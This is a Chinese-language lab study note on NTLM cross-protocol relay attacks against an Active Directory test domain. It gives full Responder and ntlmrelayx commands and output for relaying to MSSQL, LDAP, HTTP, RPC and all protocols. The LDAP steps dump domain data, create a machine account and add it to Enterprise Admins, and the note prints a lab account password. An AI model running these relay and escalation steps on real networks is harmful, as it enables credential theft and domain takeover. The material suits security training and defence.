NTLM Cross-protocol Relay

因为NTLM嵌入式协议的特性,所以NTLM嵌入各种协议中,自然我们也可以可以中继来自各种协议的 NTLM 身份验证,包括通过 LDAP 、 SMB 、 HTTP 、 MSSQL 、 IMAP 、 RPC 或其他任何能够传输 NTLM 身份验证消息的应用协议的 SMB 和 HTTP

NTLM中继的攻击中,我们会同时充当服务器和客户端,所以我们有必要先了解服务器和客户端的情况下可以中继什么协议

充当客户端时:(此时可以中继各种协议),如:

作为服务器(只能中继有限的协议):

1. cross-protocol relay

由于 NTLM 安全协议都属于嵌入式协议,我们可以从一种应用协议中提取 NTLM 身份验证消息,并将其嵌入到另一种协议中,这种技术被称为跨协议中继(cross-protocol relaying)。下图展示了通过 LDAP 中继 HTTP NTLM 身份验证的过程,这是跨协议中继的一种类型:
Pasted image 20260311000557.png

中继身份验证来源 (Server) 中继身份验证目标 (Client) 是否为跨协议?
HTTP(S) HTTP(S)
HTTP(S) IMAP, LDAP(S), MSSQL, RPC, SMBv1/2/3, SMTP
SMBv1/2/3 SMBv1/2/3
SMBv1/2/3 HTTP(S), IMAP, LDAP(S), MSSQL, RPC, SMTP
WCF (Windows Communication Foundation) HTTP(S), IMAP, LDAP(S), MSSQL, RPC, SMBv1/2/3, SMTP

也可以看这个
Pasted image 20260311000841.png

2. NTLM Relay over MSSQL

2.1. 环境

172.16.117.60(MSSQL)
场景: 用户输入错误的UNC,导致通过LLMNR或者NBT-NS发送了广播消息,攻击者通过Responder毒化响应并将身份验证重定向到我们的机器,通过ntlmrelayx中继到MSSQL SERVER

使用的工具:

2.2. 执行攻击

2.2.1. 运行跨协议的ntlmrelayx

ntlmrelayx.py -t mssql://172.16.117.60 -smb2support -socks
  • mssql://172.16.117.60 (指定mssql,而非默认的SMB)
  • -socks:开启socks代理
  • 需要root权限

这里也可以使用named target的格式:scheme://DOMAIN\USER@TARGETIP

2.2.2. 运行Responder

这里已经将 SMB 设置为Off

python3 Responder.py -I ens192
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.3.0

<SNIP>

[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [OFF]

[+] Servers:                                             
    HTTP server                [On]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [OFF]
    Kerberos server            [ON]
    SQL server                 [On]
    <SNIP>

[+] Listening for events...

然后等待中继

ntlmrelayx.py -t mssql://172.16.117.60 -smb2support -socks

Impacket v0.11.0 - Copyright 2023 Fortra

<SNIP>
ntlmrelayx>
[*] SMBD-Thread-10: Received connection from 172.16.117.3, attacking target mssql://172.16.117.60
[*] Authenticating against mssql://172.16.117.60 as INLANEFREIGHT/NPORTS SUCCEED
[*] SOCKS: Adding INLANEFREIGHT/NPORTS@172.16.117.60(1433) to active SOCKS connection. Enjoy

自中继防护
如果你从一台机器(假设为 A 机器)截获了身份验证流量,你不能把这段流量再中继回 A 机器本身
因为windows已经修复了这种NTLM self-relay攻击的利用。

在这个例子中,NPORTS 也会从 172.16.117.60 发起身份验证,这可能会导致 ntlmrelayx 停止接收来自其他 IP 的新请求。我们可以通过以下几种方式来避免这种情况:

  1. 使用 --no-http-server 选项关闭 HTTP 服务器,以阻止来自 NPORTS 的 HTTP 连接;
  2. 修改 Responder.conf 配置文件,使其不响应来自 172.16.117.60 的请求;
  3. 或者使用 -tf 选项(指定目标文件)代替单一目标,从而启用多重中继(multi-relay)功能

2.2.3. mssqlclient连接

然后通过 proxychains 启动impacket-mssqlclient ,以 INLANEFREIGHT\NPORTS 身份连接到 172.16.117.60 上的 MSSQL

  • -windows-auth :强制使用 Windows 身份验证而非默认的 SQL 身份验证
  • -no-pass :不输入密码,直接使用ntlmrelayx socks提供的有效会话
proxychains -q mssqlclient.py INLANEFREIGHT/nports@172.16.117.60 -windows-auth -no-pass

Impacket v0.11.0 - Copyright 2023 Fortra

[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(SQL01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(SQL01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208) 
[!] Press help for extra shell commands
SQL (INLANEFREIGHT\nports  dbo@master)>
SQL (INLANEFREIGHT\nports  dbo@master)> enum_db

name            is_trustworthy_on   
-------------   -----------------   
master                          0   
tempdb                          0   
model                           0   
msdb                            1   
development01                   0

2.2.4. ntlmrelayx执行sql查询

也可以使用 -q 选项执行 MSSQL 查询

ntlmrelayx.py -t mssql://INLANEFREIGHT\\NPORTS@172.16.117.60 -smb2support -q "SELECT name FROM sys.databases;"

Impacket v0.11.0 - Copyright 2023 Fortra

<SNIP>

[*] Servers started, waiting for connections
[*] SMBD-Thread-5: Received connection from 172.16.117.3, attacking target mssql://172.16.117.60
[*] Authenticating against mssql://172.16.117.60 as INLANEFREIGHT/NPORTS SUCCEED
[*] Executing SQL: SELECT name FROM sys.databases;
name            
-------------   
master          
tempdb          
model           
msdb            
development01 

3. NTLM Relay over LDAP

Lightweight Directory Access Protocol ( LDAP )是一种广泛使用的协议,用于访问和管理分布式目录信息服务
有关其的具体信息请看LDAP 概述

如果我们可以中继LDAP协议的NTLM认证,我们通常可以执行一下的攻击:

  • 枚举
  • 创建机器账户
  • 滥用ACLs进行提权

3.1.  利用LDAP中继进行域枚举

当我们使用 ldap://的方案时,ntlmrelayx会默认尝试转储域信息、添加域管理员、并配置不当的ACLs/DACL
我们可以使用一些参数来禁用这些默认行为

  • --no-da:禁用添加域管理员
  • --no-acl:不配置ACLs
  • --lootdir/-l: 指定一个目录,用于存放转储的LDAP域信息

3.1.1. 开启responder毒化

python3 Responder/Responder.py -I ens192

3.1.2. ntlmrelayx开启中继

ntlmrelayx.py -t ldap://172.16.117.3 -smb2support --no-da --no-acl --lootdir ldap_dump

等待一会后,我们收到了 一个错误:The client requested signing. Relaying to LDAP will not work! (This usually happens when relaying from SMB to LDAP)
这因为默认情况下,域控始终会要求会话签名。 当我们尝试在 DC 上通过 LDAP 中继 SMB NTLM 身份验证时,由于 DC 会要求客户端执行会话签名,攻击将会失败

3.1.3. bypass 会话签名

然而,我们也了解到存在一些可以绕过会话签名要求的漏洞利用方法,具体包括:

ntlmrelayx 提供了 --remove-mic 和 -remove-target 选项,分别用于针对易受 CVE-2019-1040 和 CVE-2019-1019 攻击的中继目标

python3 scan.py inlanefreight/plaintext$:'o6@ekk5/#rlw2rAe'@172.16.117.3

[*] CVE-2019-1040 scanner by @_dirkjan / Fox-IT - Based on impacket by SecureAuth
[*] Target 172.16.117.3 is not vulnerable to CVE-2019-1040 (authentication was rejected)

尽管如此,如果我们保持 ntlmrelayx(以及 Responder)持续运行,最终将会接收到 HTTP NTLM 身份验证。HTTP NTLM 身份验证可以被中继到 LDAP 协议上,因为 HTTP 协议本身不支持会话签名

因此域控制器不会也无法要求进行签名。ntlmrelayx 将在 DC 上通过 LDAP 中继该 HTTP NTLM 身份验证并转储域信息,将其保存在名为 ldap_dump 的目录中。

ntlmrelayx.py -t ldap://172.16.117.3 -smb2support --no-da --no-acl --lootdir ldap_dump

<SNIP>
[*] HTTPD(80): Connection from 172.16.117.60 controlled, attacking target ldap://172.16.117.3
[*] HTTPD(80): Authenticating against ldap://172.16.117.3 as INLANEFREIGHT/PETER SUCCEED
[*] Enumerating relayed user's privileges. This may take a while on large domains
[*] Dumping domain info for first time
[*] Domain info dumped into lootdir!

ls ldap_dump/

domain_computers_by_os.html  domain_computers.html  domain_groups.grep  domain_groups.json  domain_policy.html  domain_trusts.grep  domain_trusts.json          domain_users.grep  domain_users.json
domain_computers.grep        domain_computers.json  domain_groups.html  domain_policy.grep  domain_policy.json  domain_trusts.html  domain_users_by_group.html  domain_users.html

3.2. 利用LDAP中继创建计算机账户

在AD中,计算机/机器账户是一种类似于域用户账户的对象,但具有额外属性(比如SPN)。计算机账户允许查询域并执行操作,类似于用户账户

如果我们想要创建计算机账户需要ms-DS-MachineAccountQuota 的值>=1

ntlmrelayx提供了--add-computer参数可以用来创建计算机

ntlmrelayx.py -t ldap://172.16.117.3 -smb2support --no-da --no-acl --add-computer 'plaintext$'

Impacket v0.11.0 - Copyright 2023 Fortra

[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
<SNIP>

[*] Servers started, waiting for connections
[*] HTTPD(80): Connection from 172.16.117.60 controlled, attacking target ldap://172.16.117.3
[*] HTTPD(80): Authenticating against ldap://172.16.117.3 as INLANEFREIGHT/PETER SUCCEED
[*] Enumerating relayed user's privileges. This may take a while on large domains
[*] Adding a machine account to the domain requires TLS, but ldap:// scheme provided. Switching target to LDAPS via StartTLS[*] Attempting to create computer in: CN=Computers,DC=INLANEFREIGHT,DC=LOCAL
[*] Adding new computer with username: plaintext$ and password: o6@ekK5#rlw2rAe result: OK
  • 你也可以自己设置密码:格式--add-computer 'NAME' 'PASSWORD'

注意看输出,会发现其将ldap://转换为了ldaps://,因为添加机器账户需要 LDAPS ,ntlmrelayx这个pr之后才开始支持ldaps://的bypass技术。其引入了 StartTLS 机制绕过了 LDAP Channel Binding ;博客文章《使用 StartTLS 绕过 LDAP 通道绑定》详细描述了这种绕过技术

3.3. 利用ntlmrelayx滥用ACL进行提权

如果我们转发的会话是一个高权限的会话,那么我们以使用 ntlmrelayx 的 --escalate-user 选项来为指定的计算机或者用户配置错误的 ACLs/DACLs 进行权限提升攻击

ntlmrelayx.py -t ldap://172.16.117.3 -smb2support --escalate-user 'plaintext$' --no-dump -debug

Impacket v0.11.0 - Copyright 2023 Fortra

<SNIP>

[*] Servers started, waiting for connections
[*] HTTPD(80): Connection from 172.16.117.60 controlled, attacking target ldap://172.16.117.3
[*] HTTPD(80): Authenticating against ldap://172.16.117.3 as INLANEFREIGHT/NPORTS SUCCEED
[*] Enumerating relayed user's privileges. This may take a while on large domains
[+] User is a member of: [DN: CN=SQL Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL - STATUS: Read - READ TIME: 2023-07-24T20:23:28.703082
    name: SQL Admins
    objectSid: S-1-5-21-1207890233-375443991-2397730614-1153
]
[+] User is a member of: [DN: CN=Domain Users,CN=Users,DC=INLANEFREIGHT,DC=LOCAL - STATUS: Read - READ TIME: 2023-07-24T20:23:28.706705
    distinguishedName: CN=Domain Users,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
    name: Domain Users
    objectSid: S-1-5-21-1207890233-375443991-2397730614-513
]
[+] Permission found: Full Control on CN=Enterprise Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL; Reason: GENERIC_ALL via CN=SQL Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL[*] User privileges found: Adding user to a privileged group (Enterprise Admins)[+] Performing Group attack
[*] Adding user: plaintext to group Enterprise Admins result: OK[*] Privilege escalation successful, shutting down...
  • NPORTS 是 SQL Admins 组的成员,有Enterprise Admins的full Control
  • 然后将账户 plaintext$ 添加到了高权限的 Enterprise Group 组

4. NTLM Relay over HTTP

HTTP中继攻击也是一种常见的NTLM Relay利用场景,值得注意的是:HTTP的后中继攻击可以授予对受限 Web 端点的访问权限,允许我们以已认证用户的身份执行各种操作,常见的攻击利用如:

  • AD CS(活动目录证书服务)Web 注册端点请求证书
  • 滥用ADFS(活动目录联合服务)登录端点
  • 使用 NTLMRecon 自动对启用了 NTLM 的 Web 端点进行模糊测试

4.1. NTLM over HTTP Protocol

 NTLM over HTTP ProtocolMS-NTHT / NTHT)规定了 NTLM 身份验证如何通过 HTTP 进行。

假设一个 Web 客户端使用 GET 谓词/方法,向URL https://academy.hackthebox.com/protected/unlimitedCubes.php 请求一个受访问保护的端点。Web 客户端首次尝试访问该资源时,将发送一个不带 Authorization头部的 GET 请求:

GET protected/unlimitedCubes.php

Web 服务器通过返回 401 (Unauthorized) 响应状态来响应请求,并通过发送值为 NTLMWWW-Authenticate 响应头部,要求使用 NTLM 质询/身份验证(Challenge/Authentication)来访问此资源:

HTTP/1.1 401 Unauthorized
WWW-Authenticate: NTLM

得知网络服务器请求 NTLM 认证后,网络客户端通过 NTLMSSP安全包获取本地用户凭据,随后向网络服务器发起新的 GET 请求。该请求的 Authorization 头部包含一个采用 base64 编码的 NTLM NEGOTIATE_MESSAGE

GET protected/unlimitedCubes.php
Authorization: NTLM tESsBmE/yNY3lb6a0Ls8Ks19wQX1Lf36vVQEZNqwQn0s8Unew

收到来自 Web 客户端的响应时,Web 服务器会解码 Authorization 头部中包含的 Base64 编码的 NTLM 数据,并将其传递给其 MS-NLMP 实现。如果服务器接受此身份验证数据,则会返回 401 (Unauthorized) 状态码,并在 WWW-Authenticate 头部中携带包含 NTLM CHALLENGE_MESSAGE 的 NTLM 数据:

HTTP/1.1 401 Unauthorized
WWW-Authenticate: NTLM yNY3lb6a0L6vVxOp3MxIQEZNqwQn0s8UNew33KdZvs1Onv

随后,Web 客户端解码 WWW-Authenticate 头部中包含的 Base64 编码的 NTLM 数据,并将其传递给其 MS-NLMP 实现。如果此身份验证数据有效,客户端将通过重新发出 GET 请求进行响应,其 Authorization 头部包含一个 NTLM AUTHENTICATE_MESSAGE

GET protected/unlimitedCubes.php
Authorization: NTLM kGaXHz6/owHcWRlvGFk8ReUa1O7dNmQL2dZKHo=QEZNqwQn0s8U

最后,Web 服务器解码 Authorization 头部中的 Base64 编码数据并传递给 MS-NLMP。如果接受该数据,服务器将返回 Successful 2xx 成功代码以及请求的内容。如果所使用的 Web 客户端(如浏览器)不支持 NTLM 身份验证方案,我们可以使用 Proxy-Ez 代理,它可以处理所有 HTTP 身份验证方案。此外,我们可以利用 ADFSRelay 仓库中的 NTLMParse 工具来解码 Base64 编码的 NTLM 消息。

请务必记住,重放 HTTP NTLM 身份验证比 SMB NTLM 身份验证更强大,因为 HTTP 不支持会话签名(因此重放目标无法要求强制签名),而 SMB 支持。

5. NTLM Relay over RPC

The Open Group 在 1997 年发布了 DCE 1.1: 远程过程调用 (DCE: RPC)(也称为 C706),它是分布式计算环境 (DCE) 及其远程过程调用 (RPC) 机制的技术规范。C706 全面定义了 RPC 服务、接口、协议、编码规则和接口定义语言 (IDL)

DCE RPC 的核心是 RPC(通信)协议,它允许程序或进程像在本地一样在远程服务器上执行功能。在 RPC 中,客户端通过网络向另一个系统上的服务器发起过程调用。客户端向服务器传输请求,指定要执行的过程并提供必要的数据。服务器收到请求后,使用提供的数据执行该过程,并发送包含结果的响应。IDL 提供了一种与语言无关的方式来描述接口和数据结构,从而促进代码生成并确保分布式计算环境中客户端和服务器组件之间的有效通信。著名的 RPC 实现包括 DCE RPC、gRPCJava RMICORBADCOM。C706 标准提供 HTMLPDF 格式供阅读。

Microsoft 对 DCE RPC 的实现定义在远程过程调用协议扩展 (MS-RPCE/RPCE) 中。MS-RPCE 是 C706 规范的一组扩展;它增加了新的功能,允许更安全的实现,并且有时会对 DCE RPC 施加额外的限制。NTLM 身份验证是 MS-RPCE 支持的各种安全提供程序

名称 安全提供程序
RPC_C_AUTHN_NONE 0x00 无身份验证
RPC_C_AUTHN_GSS_NEGOTIATE 0x09 SPNEGO
RPC_C_AUTHN_WINNT 0x0A NTLM
RPC_C_AUTHN_GSS_SCHANNEL 0x0E TLS
RPC_C_AUTHN_GSS_KERBEROS 0x10 Kerberos
RPC_C_AUTHN_NETLOGON 0x44 Netlogon
RPC_C_AUTHN_DEFAULT 0xFF 与 RPC_C_AUTHN_WINNT 相同

客户端和服务器可以为 RPC 调用设置身份验证级别,即表示 RPC 将应用于特定消息交换的身份验证或消息保护水平的数值;在七个身份验证级别中,如果我们遇到一个接受 RPC_C_AUTHN_LEVEL_CONNECT 接口的重放目标,我们或许能够在其上重放 NTLM 身份验证并建立经过身份验证的会话(有关身份验证级别的更多信息,请参阅身份验证级别常量

可用于 NTLM 中继的 RPC 协议非常有限,典型的有 MS-TSCH(计划任务)MS-ICPR(证书申请)

例如,利用 ntlmrelayx 向 TSCH 协议中继 NTLM 认证,可以直接**获取 Microsoft Exchange 服务器的远程命令执行权限

6. NTLM Relay over All Protocols

ntlmrelayx支持all://通配符来匹配所有的协议

但注意:使用此方法的时候,请把Responder的所有服务都设置为off

sed -i '4,18s/= On/= Off/g' Responder.conf

[+] Servers:
    HTTP server                [OFF]
    HTTPS server               [OFF]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [OFF]
    Kerberos server            [OFF]

然后使用 -socks 选项运行 ntlmrelayx

ntlmrelayx.py -tf relayTargets.txt -smb2support -socks

Impacket v0.11.0 - Copyright 2023 Fortra

<SNIP>
[*] Running in relay mode to hosts in targetfile
[*] SOCKS proxy started. Listening at port 1080
[*] SMB Socks Plugin loaded..
[*] IMAPS Socks Plugin loaded..
[*] HTTPS Socks Plugin loaded..
[*] HTTP Socks Plugin loaded..
[*] IMAP Socks Plugin loaded..
[*] SMTP Socks Plugin loaded..
[*] MSSQL Socks Plugin loaded..
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server
[*] Setting up RAW Server on port 6666

[*] Servers started, waiting for connections
Type help for list of commands
ntlmrelayx>  * Serving Flask app 'impacket.examples.ntlmrelayx.servers.socksserver'
 * Debug mode: off
<SNIP>
[*] SMBD-Thread-39: Connection from INLANEFREIGHT/JPEREZ@172.16.117.3 controlled, attacking target http://172.16.117.50
[*] SMBD-Thread-40: Connection from INLANEFREIGHT/RMONTY@172.16.117.3 controlled, attacking target smtp://172.16.117.50
[*] SMBD-Thread-41: Connection from INLANEFREIGHT/JPEREZ@172.16.117.3 controlled, attacking target smb://172.16.117.50
[*] Authenticating against smb://172.16.117.50 as INLANEFREIGHT/JPEREZ SUCCEED
[*] SOCKS: Adding INLANEFREIGHT/JPEREZ@172.16.117.50(445) to active SOCKS connection. Enjoy
[*] SMBD-Thread-41: Connection from INLANEFREIGHT/JPEREZ@172.16.117.3 controlled, attacking target rpc://172.16.117.50
<SNIP>
stopservers
[*] Shutting down HTTP Server
[*] Shutting down SMB Server
[*] Shutting down RAW Server
[*] Shutting down WCF Server
[*] Relay servers stopped

然后会发现建立了特别多的会话

ntlmrelayx> socks

Protocol  Target         Username              AdminStatus  Port 
--------  -------------  --------------------  -----------  ----
SMB       172.16.117.50  INLANEFREIGHT/JPEREZ  FALSE        445  
SMB       172.16.117.50  INLANEFREIGHT/NPORTS  FALSE        445  
SMB       172.16.117.50  INLANEFREIGHT/RMONTY  FALSE        445  
SMB       172.16.117.50  INLANEFREIGHT/PETER   TRUE         445  
HTTPS     172.16.117.50  INLANEFREIGHT/RMONTY  N/A          1433 
SMB       172.16.117.60  INLANEFREIGHT/RMONTY  FALSE        445  
SMB       172.16.117.60  INLANEFREIGHT/NPORTS  FALSE        445  
SMB       172.16.117.60  INLANEFREIGHT/JPEREZ  FALSE        445  
SMB       172.16.117.60  INLANEFREIGHT/PETER   FALSE        445  
MSSQL     172.16.117.60  INLANEFREIGHT/RMONTY  N/A          1433 
MSSQL     172.16.117.60  INLANEFREIGHT/NPORTS  N/A          1433 
MSSQL     172.16.117.60  INLANEFREIGHT/JPEREZ  N/A          1433 
MSSQL     172.16.117.60  INLANEFREIGHT/PETER   N/A          1433